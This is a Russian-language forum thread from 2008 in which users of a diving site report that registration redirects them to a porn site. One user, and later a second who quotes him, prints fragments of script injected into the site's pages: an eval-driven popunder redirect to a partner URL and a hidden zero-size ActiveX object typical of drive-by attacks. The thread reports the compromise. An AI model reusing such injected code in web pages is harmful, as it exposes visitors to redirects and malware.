Отправка на cherry.tv - Взломали?

Сообщение

Lezhkin · Добавлено: 21-12-2008 22:43

При попытке зарегистрироваться на форуме, пролучил кучу сообщений типа class_error, был обозван неизвестным пользователем и отправлен на порносайт cherry.tv

Я люблю порнуху, но не на столько, чтобы менять на нее любимый форум.

ps При релоаде, оказалось, что регистрация все же прошла.

Добавлено: 22-12-2008 00:04

Проверил, все ОК.
Может у вас что завелось?

ico · Добавлено: 22-12-2008 02:59

KWAK писал(а):Проверил, все ОК.
Может у вас что завелось?

Нет, не OK. Сайт заражен.

При логауте ошибки:

Warning: Cannot modify header information - headers already sent by (output started at /home/photo.tetis.ru/www/main.php:691) in /home/tetisru3/public_html/forum/includes/sessions.php on line 461

При логине тоже.

Если запросить телнетом страницу то там будет очень занятное.
Вот скажите, откуда у вас вот такое отдается в коде?
-------------------------------------
usePopDialog = false;
var refurl = window.location;
var popURL = 'h ttp://cherrytv.ru/?partner=283';
isUsingSpecial = true;
eval("window.attachEvent('onload',ver);");
eval("window.attachEvent('onunload',ext);");
-------------------------------------
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
...
document.body.innerHTML+="<object id=iie width=0 height=0 classid='CLSID:"+u+"'
-------------------------------------

Lionfish · Добавлено: 22-12-2008 11:21

Еле смогла прорваться на форум через эту порнуху

Делайте что-нибудь, уже второй день возможен только просмотр форума, при попытке ответить или написать в личку (т.е. при попытке зарегиться) идет отсыл на порносайт. Если так дальше пойдет, я там, пожалуй, дайверский форум организую, если меня за ****** с работы попрут

ReedCat · Добавлено: 23-12-2008 00:37

Хех... "Предохраняться надо" (с)

Меня вот ни на какие порносайты не посылает...

А админам и программерам урезать новогодний паек картошки, потому как трояны на сайте - результат разгильдяйства их и только.

BK · Добавлено: 23-12-2008 01:47

Я никакой порнухи не заметил, всё нормально. Замечал другую странность, но не сегодня, а несколько дней назад. Сразу после регистрации на форуме шел редирект на первую страницу сайта www.tetis.ru откуда уже потом переходил по ссылке на форум, и уже оказывался вошедшим под своим именем. Но я подумал, что так надо, т.е. чтобы народ не только на форум ходил, но и сам сайт иногда посещал.

Матраскин · Добавлено: 23-12-2008 07:48

Не мог пробиться на сайт, просто писало, что неверный аккаунт, порнухи не видел

S.S. "Drip" · Добавлено: 24-12-2008 10:50

ico писал(а):
KWAK писал(а):Проверил, все ОК.
Может у вас что завелось?

Нет, не OK. Сайт заражен.

При логауте ошибки:

Warning: Cannot modify header information - headers already sent by (output started at /home/photo.tetis.ru/www/main.php:691) in /home/tetisru3/public_html/forum/includes/sessions.php on line 461

При логине тоже.

Если запросить телнетом страницу то там будет очень занятное.
Вот скажите, откуда у вас вот такое отдается в коде?
-------------------------------------
usePopDialog = false;
var refurl = window.location;
var popURL = 'h ttp://cherrytv.ru/?partner=283';
isUsingSpecial = true;
eval("window.attachEvent('onload',ver);");
eval("window.attachEvent('onunload',ext);");
-------------------------------------
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
...
document.body.innerHTML+="<object id=iie width=0 height=0 classid='CLSID:"+u+"'
-------------------------------------

+1 Same sh*t..........